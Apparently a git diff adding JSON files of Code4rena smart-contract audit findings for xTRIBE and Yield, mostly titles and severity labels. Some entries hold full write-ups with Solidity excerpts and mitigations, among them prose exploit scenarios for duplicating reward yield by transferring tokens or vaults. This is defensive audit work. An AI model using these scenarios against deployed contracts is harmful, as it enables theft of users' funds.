"2022-04-xtribe-findings", "body": "xTRIBE reward syncing is not permissionless allowing the owner to grieve users"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "FlywheelCore's setFlywheelRewards can remove access to reward funds from current users", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/40", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "FlywheelCore's setFlywheelRewards can remove access to reward funds from current users"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/38", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/37", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/36", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/34", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/32", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/28", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "`FlywheelCore.setBooster()` can be used to steal unclaimed rewards", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/23", "labels": ["bug", "help wanted", "2 (Med Risk)"], "target": "2022-04-xtribe-findings", "body": "`FlywheelCore.setBooster()` can be used to steal unclaimed rewards"}, {"title": "In ERC20Gauges, contribution to total weight is double-counted when incrementGauge is called before addGauge for a given gauge.", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/22", "labels": ["bug", "2 (Med Risk)"], "target": "2022-04-xtribe-findings", "body": "In ERC20Gauges, contribution to total weight is double-counted when incrementGauge is called before addGauge for a given gauge."}] \ No newline at end of file diff --git a/results/codearena_findings_12.json b/results/codearena_findings_12.json new file mode 100644 index 0000000..96643dc --- /dev/null +++ b/results/codearena_findings_12.json @@ -0,0 +1 @@ +[{"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/21", "labels": ["bug", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/15", "labels": ["bug", "G (Gas Optimization)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/13", "labels": ["bug", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/10", "labels": ["bug", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/9", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/8", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/6", "labels": ["bug", "disagree with severity", "sponsor disputed", "QA (Quality Assurance)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "ERC20Gauges: The _incrementGaugeWeight function does not check the gauge parameter enough, so the user may lose rewards.", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/5", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "ERC20Gauges: The _incrementGaugeWeight function does not check the gauge parameter enough, so the user may lose rewards."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/2", "labels": ["bug", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Oracle data feed is insufficiently validated.", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/136", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/vaults/FungibleAssetVaultForDAO.sol#L105 # Vulnerability details ## Impact Price can be stale and can lead to wrong `answer` return value. ## Proof of Concept Oracle data feed is insufficiently validated. There is no check for stale price and round completeness. Price can be stale and can lead to wrong `answer` return value. ``` function _collateralPriceUsd() internal view returns (uint256) { int256 answer = oracle.latestAnswer(); uint8 decimals = oracle.decimals(); require(answer > 0, \"invalid_oracle_answer\"); ... ``` https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/vaults/FungibleAssetVaultForDAO.sol#L105 ## Tools Used Manual review ## Recommended Mitigation Steps Validate data feed ``` function _collateralPriceUsd() internal view returns (uint256) { (uint80 roundID, int256 answer, , uint256 timestamp, uint80 answeredInRound) = oracle.latestRoundData(); require(answer > 0, \"invalid_oracle_answer\"); require(answeredInRound >= roundID, \"ChainLink: Stale price\"); require(timestamp > 0, \"ChainLink: Round not complete\"); ... ``` "}, {"title": "calldata is cheaper than memory", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-01-yield-findings", "body": "calldata is cheaper than memory"}, {"title": "Rewards distribution can be disrupted by a early user", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/116", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexStakingWrapper.sol#L206-L224 ```solidity function _calcRewardIntegral( uint256 _index, address[2] memory _accounts, uint256[2] memory _balances, uint256 _supply, bool _isClaim ) internal { RewardType storage reward = rewards[_index]; uint256 rewardIntegral = reward.reward_integral; uint256 rewardRemaining = reward.reward_remaining; //get difference in balance and remaining rewards //getReward is unguarded so we use reward_remaining to keep track of how much was actually claimed uint256 bal = IERC20(reward.reward_token).balanceOf(address(this)); if (_supply > 0 && (bal - rewardRemaining) > 0) { rewardIntegral = uint128(rewardIntegral) + uint128(((bal - rewardRemaining) * 1e20) / _supply); reward.reward_integral = uint128(rewardIntegral); } ``` `reward.reward_integral` is `uint128`, if a early user mint (wrap) just `1` Wei of `convexToken`, and make `_supply == 1`, and then tranferring `5e18` of `reward_token` to the contract. As a result, `reward.reward_integral` can exceed `type(uint128).max` and overflow, causing the rewards distribution to be disrupted. ### Recommendation Consider `wrap` a certain amount of initial totalSupply, e.g. `1e8`, and never burn it. And consider using uint256 instead of uint128 for `reward.reward_integral`. Also, consdier lower `1e20` down to `1e12`. "}, {"title": "Comment missing function parameter", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/113", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "Comment missing function parameter"}, {"title": "Unsafe uint128 casting may overflow", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/112", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The _calcRewardIntegral function casts intermediate reward values from uint256 to uint128 and vice versa several times. Because OpenZeppelin SafeCast is not used, casting from uint256 to uint128 may overflow if a large reward value is being calculate. This overflow could result in users receiving less rewards than they are owed. ## Proof of Concept There are 4 uint128 casting operations and 2 uint256 casting operations [in the _calcRewardIntegral function of ConvexStakingWrapper.sol](https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexStakingWrapper.sol#L222-L253). ## Recommended Mitigation Steps Because reward values are an important part of this protocol, use the OpenZeppelin SafeCast library to prevent unexpected overflows when casting. SafeMath and Solidity 0.8.* handles overflows for basic math operations but not for casting. "}, {"title": "`ConvexYieldWrapper#removeVault()` `found` is redundant", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexYieldWrapper.sol#L74-L95 ```solidity function removeVault(bytes12 vaultId, address account) public { address owner = cauldron.vaults(vaultId).owner; if (account != owner) { bytes12[] storage vaults_ = vaults[account]; uint256 vaultsLength = vaults_.length; bool found; for (uint256 i = 0; i < vaultsLength; i++) { if (vaults_[i] == vaultId) { bool isLast = i == vaultsLength - 1; if (!isLast) { vaults_[i] = vaults_[vaultsLength - 1]; } vaults_.pop(); found = true; emit VaultRemoved(account, vaultId); break; } } require(found, \"Vault not found\"); vaults[account] = vaults_; } } ``` `found` is redundant, we can just use `return` to stop the whole function when the `vault` to be removed is found and removed. `removeVault()` can be changed to: ```solidity function removeVault(bytes12 vaultId, address account) public { address owner = cauldron.vaults(vaultId).owner; if (account != owner) { bytes12[] storage vaults_ = vaults[account]; uint256 vaultsLength = vaults_.length; for (uint256 i = 0; i < vaultsLength; i++) { if (vaults_[i] == vaultId) { bool isLast = i == vaultsLength - 1; if (!isLast) { vaults_[i] = vaults_[vaultsLength - 1]; } vaults_.pop(); found = true; emit VaultRemoved(account, vaultId); return; } } revert(\"Vault not found\"); } } ``` "}, {"title": "`ConvexYieldWrapper.sol` Redundant code", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexYieldWrapper.sol#L74-L95 ```solidity function removeVault(bytes12 vaultId, address account) public { address owner = cauldron.vaults(vaultId).owner; if (account != owner) { bytes12[] storage vaults_ = vaults[account]; uint256 vaultsLength = vaults_.length; bool found; for (uint256 i = 0; i < vaultsLength; i++) { if (vaults_[i] == vaultId) { bool isLast = i == vaultsLength - 1; if (!isLast) { vaults_[i] = vaults_[vaultsLength - 1]; } vaults_.pop(); found = true; emit VaultRemoved(account, vaultId); break; } } require(found, \"Vault not found\"); vaults[account] = vaults_; } } ``` At L77, `vaults_` is defined as `vaults[account]`, thus `vaults[account] = vaults_` at L93 is redundant. https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexYieldWrapper.sol#L57-L69 ```solidity function addVault(bytes12 vaultId) external { address account = cauldron.vaults(vaultId).owner; require(account != address(0), \"No owner for the vault\"); bytes12[] storage vaults_ = vaults[account]; uint256 vaultsLength = vaults_.length; for (uint256 i = 0; i < vaultsLength; i++) { require(vaults_[i] != vaultId, \"Vault already added\"); } vaults_.push(vaultId); vaults[account] = vaults_; emit VaultAdded(account, vaultId); } ``` Similarly, L76 is redundant. "}, {"title": "Perform math inside code branch", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/106", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The `_calcCvxIntegral()` function in ConvexStakingWrapper.sol doesn't use the same gas optimization that its sibling function `_calcRewardIntegral()` uses. ## Proof of Concept This code is from [the `_calcCvxIntegral()` function](https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexStakingWrapper.sol#L154) ``` if (_isClaim || userI < cvxRewardIntegral) { uint256 receiveable = cvx_claimable_reward[_accounts[u]] + ((_balances[u] * (cvxRewardIntegral - userI)) / 1e20); if (_isClaim) { if (receiveable > 0) { cvx_claimable_reward[_accounts[u]] = 0; IERC20(cvx).safeTransfer(_accounts[u], receiveable); bal = bal - (receiveable); } } else { cvx_claimable_reward[_accounts[u]] = receiveable; } cvx_reward_integral_for[_accounts[u]] = cvxRewardIntegral; } ``` The related code from [the `_calcRewardIntegral()` function](https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexStakingWrapper.sol#L206) has the receivable calculation inside the `if (_isClaim)` code branch to save gas if _isClaim is false. ``` if (_isClaim || userI < rewardIntegral) { if (_isClaim) { uint256 receiveable = reward.claimable_reward[_accounts[u]] + ((_balances[u] * (uint256(rewardIntegral) - userI)) / 1e20); if (receiveable > 0) { reward.claimable_reward[_accounts[u]] = 0; IERC20(reward.reward_token).safeTransfer(_accounts[u], receiveable); bal = bal - receiveable; } } else { reward.claimable_reward[_accounts[u]] = reward.claimable_reward[_accounts[u]] + ((_balances[u] * (uint256(rewardIntegral) - userI)) / 1e20); } reward.reward_integral_for[_accounts[u]] = rewardIntegral; } ``` This optimization would save gas each time `_checkpoint()` is called because `_checkpoint()` sets _isClaim to false and doesn't enter the `if(_isClaim)` branch. ## Recommended Mitigation Steps Modify the `_calcCvxIntegral()` function to place the receiveable calculation inside the `if (_isClaim)` code branch. "}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/105", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "Adding unchecked directive can save gas"}, {"title": "`ConvexStakingWrapper.sol#` Switching between 1, 2 instead of 0, 1 is more gas efficient", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexStakingWrapper.sol#L54-L55 ```solidity bool private constant _NOT_ENTERED = false; bool private constant _ENTERED = true; ``` https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexStakingWrapper.sol#L81-L90 ```solidity modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } ``` `SSTORE` from 0 to 1 (or any non-zero value), the cost is 20000; `SSTORE` from 1 to 2 (or any other non-zero value), the cost is 5000. By storing the original value once again, a refund is triggered (https://eips.ethereum.org/EIPS/eip-2200). Since refunds are capped to a percentage of the total transaction's gas, it is best to keep them low, to increase the likelihood of the full refund coming into effect. Therefore, switching between 1, 2 instead of 0, 1 will be more gas efficient. See: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/86bd4d73896afcb35a205456e361436701823c7a/contracts/security/ReentrancyGuard.sol#L29-L33 "}, {"title": "Avoid unnecessary arithmetic operations and storage reads can save gas", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/101", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/ConvexStakingWrapper.sol#L106-L111 ```solidity if (rewardsLength == 0) { RewardType storage reward = rewards.push(); reward.reward_token = crv; reward.reward_pool = mainPool; rewardsLength += 1; } ``` When `rewardsLength` == `0`, the new `rewardsLength` will always be 1. Therefore, replacing `+=` with `=` can avoid the unnecessary arithmetic operations and memory reads ### Recommendation Change to: ```solidity if (rewardsLength == 0) { RewardType storage reward = rewards.push(); reward.reward_token = crv; reward.reward_pool = mainPool; rewardsLength = 1; } ``` "}, {"title": "Cvx3CrvOracle earned function calculates cvx wrongly if pool claimed indirectly", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/95", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle kenzo # Vulnerability details The ConvexStakingWrapper that Yield is based on recently published a fix for `earned` function in case the pool is claimed indirectly. ## Impact Wrong results might be returned from view function `earned`. ## Proof of Concept This is the fix for earned: [fix commit](https://github.com/convex-eth/platform/commit/9b9dd72bdb822e7f34f241d620cc1f8388bf7d6a#) ## Recommended Mitigation Steps Apply fix. "}, {"title": "Cvx3CrvOracle returns 0 for small baseAmount", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/93", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-yield-findings", "body": "Cvx3CrvOracle returns 0 for small baseAmount"}, {"title": "Malicious Users Can Transfer Vault Collateral To Other Accounts To Extract Additional Yield From The Protocol", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/89", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `ConvexYieldWrapper.sol` is a wrapper contract for staking convex tokens on the user's behalf, allowing them to earn rewards on their deposit. Users will interact with the `Ladle.sol` contract's `batch()` function which: - Approves Ladle to move the tokens. - Transfers the tokens to `ConvexYieldWrapper.sol`. - Wraps/stakes these tokens. - Updates accounting and produces debt tokens within `Ladle.sol`. `_getDepositedBalance()` takes into consideration the user's total collateral stored in all of their owned vaults. However, as a vault owner, you are allowed to give the vault to another user, move collateral between vaults and add/remove collateral. Therefore, it is possible to manipulate the result of this function by checkpointing one user's balance at a given time, transferring ownership to another user and then create a new checkpoint with this user. As a result, a user is able to generate protocol yield multiple times over on a single collateral amount. This can be abused to effectively extract all protocol yield. ## Proof of Concept Consider the following exploit scenario: - Alice owns a vault which has 100 tokens worth of collateral. - At that point in time, `_getDepositedBalance()` returns 100 as its result. A checkpoint has also been made on this balance, giving Alice claim to her fair share of the rewards. - Alice then calls `Ladle.give()`, transferring the ownership of the vault to Bob and calls `ConvexYieldWrapper.addVault()`. - Bob is able to call `user_checkpoint()` and effectively update their checkpointed balance. - At this point in time, both Alice and Bob have claim to any yield generated by the protocol, however, there is only one vault instance that holds the underlying collateral. https://github.com/code-423n4/2022-01-yield/blob/main/contracts/ConvexYieldWrapper.sol#L100-L120 ``` function _getDepositedBalance(address account_) internal view override returns (uint256) { if (account_ == address(0) || account_ == collateralVault) { return 0; } bytes12[] memory userVault = vaults[account_]; //add up all balances of all vaults registered in the wrapper and owned by the account uint256 collateral; DataTypes.Balances memory balance; uint256 userVaultLength = userVault.length; for (uint256 i = 0; i < userVaultLength; i++) { if (cauldron.vaults(userVault[i]).owner == account_) { balance = cauldron.balances(userVault[i]); collateral = collateral + balance.ink; } } //add to balance of this token return _balanceOf[account_] + collateral; } ``` ## Tools Used Manual code review. Discussion/confirmation with the Yield Protocol team. ## Recommended Mitigation Steps Ensure that any change to a vault will correctly checkpoint the previous and new vault owner. The affected actions include but are not limited to; transferring ownership of a vault to a new account, transferring collateral to another vault and adding/removing collateral to/from a vault. "}, {"title": "Only passing in one depositedBalance in _checkpointAndClaim()", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/88", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle GeekyLumberjack # Vulnerability details `uint256[2] memory depositedBalance;` is defined at the beginning of [_checkpointAndClaim](https://github.com/code-423n4/2022-01-yield/blob/main/contracts/ConvexStakingWrapper.sol#L279-L291) only one `depositedBalance` slot is being filed and then the entire array gets passed into `_calcRewardIntegral()` and `_calcCvxIntegral()` along with an array of two `_accounts`. Having only one of the `depositedBalance` and two `_accounts` may cause loss in rewards for the second account. This function is currently only used in `GetReward()` which is passing in a zero address as the second address. "}, {"title": "Malicious Users Can Duplicate Protocol Earned Yield By Transferring `wCVX` Tokens To Another Account", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/86", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `ConvexYieldWrapper.sol` is a wrapper contract for staking convex tokens on the user's behalf, allowing them to earn rewards on their deposit. Users will interact with the `Ladle.sol` contract's `batch()` function which: - Approves Ladle to move the tokens. - Transfers the tokens to `ConvexYieldWrapper.sol`. - Wraps/stakes these tokens. - Updates accounting and produces debt tokens within `Ladle.sol`. During `wrap()` and `unwrap()` actions, `_checkpoint()` is used to update the rewards for the `from_` and `to_` accounts. However, the [reference](https://github.com/convex-eth/platform/blob/main/contracts/contracts/wrappers/ConvexStakingWrapper.sol#L395-L397) contract implements a `_beforeTokenTransfer()` function which has been removed from Yield Protocol's custom implementation. As a result, it is possible to transfer `wCVX` tokens to another account after an initial checkpoint has been made. By manually calling `user_checkpoint()` on the new account, this user is able to update its deposited balance of the new account while the sender's balance is not updated. This can be repeated to effectively replicate a user's deposited balance over any number of accounts. To claim yield generated by the protocol, the user must only make sure that the account calling `getReward()` holds the tokens for the duration of the call. ## Proof of Concept The exploit can be outlined through the following steps: - Alice receives 100 `wCVX` tokens from the protocol after wrapping their convex tokens. - At that point in time, `_getDepositedBalance()` returns 100 as its result. A checkpoint has also been made on this balance, giving Alice claim to her fair share of the rewards. - Alice transfers her tokens to her friend Bob who then manually calls `user_checkpoint()` to update his balance. - Now from the perspective of the protocol, both Alice and Bob have 100 `wCVX` tokens as calculated by the `_getDepositedBalance()` function. - If either Alice or Bob wants to claim rewards, all they need to do is make sure the 100 `wCVX` tokens are in their account upon calling `getReward()`. Afterwards, the tokens can be transferred out. ## Tools Used Manual code review. Discussion/confirmation with the Yield Protocol team. ## Recommended Mitigation Steps Consider implementing the `_beforeTokenTransfer()` function as shown in the [reference](https://github.com/convex-eth/platform/blob/main/contracts/contracts/wrappers/ConvexStakingWrapper.sol#L395-L397) contract. However, it is important to ensure the wrapper contract and collateral vaults are excluded from the checkpointing so they are not considered in the rewards calculations. "}, {"title": "Unnecessary check on quote in Cvx3CrvOracle", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact gas costs ## Proof of Concept L116 of Cvx3CrvOracle enforces for the rest of the function call that `base == ethId <-> quote == cvx3CrvId` https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/Cvx3CrvOracle.sol#L116 However on L137 we check both these conditions again. https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/Cvx3CrvOracle.sol#L137 We could check just one of these and then rely on the require condition on 116 to enforce the other one. This will prevent us having to SLOAD `ethID` again ## Recommended Mitigation Steps Change L137 to `if (base == cvx3CrvId) {` "}, {"title": "`ConvexStakingWrapper.sol`: related data should be grouped in a struct", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/76", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2022-01-yield-findings", "body": "`ConvexStakingWrapper.sol`: related data should be grouped in a struct"}, {"title": "`ConvexStakingWrapper.sol`: `AccessControl` capabilities aren't used", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/75", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle Dravee # Vulnerability details ## Impact AccessControl capabilities aren't used. ## Proof of Concept In `ConvexStakingWrapper.sol`, `AccessControl` seem superfluous: ``` 7: import \"@yield-protocol/utils-v2/contracts/access/AccessControl.sol\"; ... 15: contract ConvexStakingWrapper is ERC20, AccessControl { ``` In the original `ConvexStakingWrapper.sol`, this `AccessControl` isn't inherited. In this contract, I believe role-based capabilities were thought of, but were forgotten or abandonned. ## Tools Used VS Code ## Recommended Mitigation Steps Either use the capabilities from `AccessControl`, or delete the import + the inheritance to save gas. "}, {"title": "`ConvexStakingWrapper.sol`: unused `nonReentrant` modifier", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/74", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle Dravee # Vulnerability details ## Impact No protection from reentrancy (besides the gas limit on safeTransfer). Bad practice compared to the original `ConvexStakingWrapper` contract. ## Proof of Concept The original `ConvexStakingWrapper` contract used the `nonReentrant` modifier on all functions using the `safeTransfer` or `safeTransferFrom` methods: - `deposit`: https://github.com/convex-eth/platform/blob/main/contracts/contracts/wrappers/ConvexStakingWrapper.sol#L337 - `stake`: https://github.com/convex-eth/platform/blob/main/contracts/contracts/wrappers/ConvexStakingWrapper.sol#L352 - `withdraw`: https://github.com/convex-eth/platform/blob/main/contracts/contracts/wrappers/ConvexStakingWrapper.sol#L367 - `withdrawAndUnwrap`: https://github.com/convex-eth/platform/blob/main/contracts/contracts/wrappers/ConvexStakingWrapper.sol#L381 As the current one in the Yield solution is an upgrade, it should follow the same good practices. ## Tools Used VS Code ## Recommended Mitigation Steps Use the `nonReentrant` modifier on external functions that end up calling `safeTransfer` or `safeTransferFrom` (`user_checkpoint()` and `getReward()`) "}, {"title": "less gas usage by calling the `TransferHelper` lib directly", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle rfa # Vulnerability details ## Impact spend at least 6930 more gas on deployment, and spend 40 gas more per call (by using current implementasion) ## Proof of Concept https://github.com/code-423n4/2022-01-yield/blob/main/contracts/ConvexStakingWrapper.sol#L184 https://github.com/code-423n4/2022-01-yield/blob/main/contracts/ConvexStakingWrapper.sol#L239 the `TransferHelper` lib just used twice in this contract. remove:(line 16) https://github.com/code-423n4/2022-01-yield/blob/main/contracts/ConvexStakingWrapper.sol#L16 and just call `TransferHelper.safeTransfer()` directly at those line. This method is using almost exact the same gas as if we just copying the `safeTransfer()` and remove the `TransferHelper` lib from the contract. (since we need just 1 function from the lib) "}, {"title": "Gas in `Cvx3CrvOracle.sol:_peek()`: `ethId` and `cvx3CrvId` should get cached ", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle Dravee # Vulnerability details ## Impact SLOADs are expensive (~100 gas) compared to MLOADs/MSTOREs (~3 gas). Minimizing them can save gas. ## Proof of Concept The code is as such (see `@audit-info`): ``` File: Cvx3CrvOracle.sol 110: function _peek( 111: bytes6 base, 112: bytes6 